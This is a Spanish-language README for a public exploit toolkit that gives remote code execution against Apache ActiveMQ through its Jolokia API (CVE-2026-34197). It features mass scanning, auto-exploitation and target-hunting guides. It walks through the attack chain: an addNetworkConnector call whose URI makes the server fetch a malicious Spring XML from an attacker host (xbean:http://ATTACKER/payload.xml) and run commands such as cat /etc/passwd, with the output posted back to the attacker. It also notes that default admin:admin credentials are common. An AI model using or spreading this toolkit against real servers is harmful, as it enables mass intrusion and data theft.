Exploit para Apache ActiveMQ RCE a través de la API Jolokia (CVE-2026-34197) con captura de salida de comandos, escaneo masivo y auto-explotación.
Descripción general • Detalles • Flujo de ataque • Inicio rápido • Guía ATTACKER_IP • Uso • Captura de salida • Escáner • Búsqueda • Detección • Remediación
CVE-2026-34197 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Apache ActiveMQ Classic que permite a un atacante autenticado ejecutar comandos arbitrarios del sistema operativo a través de la API Jolokia expuesta en la consola web.
La vulnerabilidad ha existido durante más de 13 años y reside en la interacción entre Jolokia (puente HTTP-JMX), los MBeans de ActiveMQ, los conectores de red y el transporte VM.
[!CAUTION] Este es un primer PoC público desarrollado por KONDOR DEV SECURITY. Úselo únicamente en evaluaciones de seguridad autorizadas.
id, whoami, cat /etc/passwd) muestran automáticamente su salida en su terminalversion_check.py) — detección de versión multihilo + explotación dirigida| ID CVE | CVE-2026-34197 |
| Severidad | |
| Tipo | Ejecución Remota de Código (RCE) |
| CWE | CWE-20 (Validación de entrada incorrecta) / CWE-94 (Inyección de código) |
| Afectados | ActiveMQ Classic < 5.19.4 y 6.0.0 — 6.2.2 |
| Parcheado | 5.19.4 / 6.2.3 |
| Autenticación requerida | Sí (las credenciales predeterminadas admin:admin son comunes) |
| Sin autenticación necesaria | 6.0.0 — 6.1.1 (debido a CVE-2024-32114) |
| Puerto predeterminado | 8161 (consola web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Desglose paso a paso
| Paso | Acción | Componente |
|:----:|--------|-----------|
| **1** | El atacante envía un POST a `/api/jolokia/` invocando `addNetworkConnector` en el MBean del Broker | API de Jolokia |
| **2** | ActiveMQ procesa el URI de transporte `vm://` y crea un broker efímero con `brokerConfig` apuntando a una URL remota | Transporte VM |
| **3** | El esquema `xbean:` desencadena la descarga de un archivo de configuración XML de Spring desde el servidor del atacante | Spring / XBean |
| **4** | Spring instancia todos los beans en el XML, incluido uno que llama a `Runtime.getRuntime().exec()` | Contexto de Spring |
| **5** | Para comandos simples, la salida se captura y se envía de vuelta mediante un POST HTTP al listener del atacante (automático) | Captura de salida |
---
## Estructura del Proyecto```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md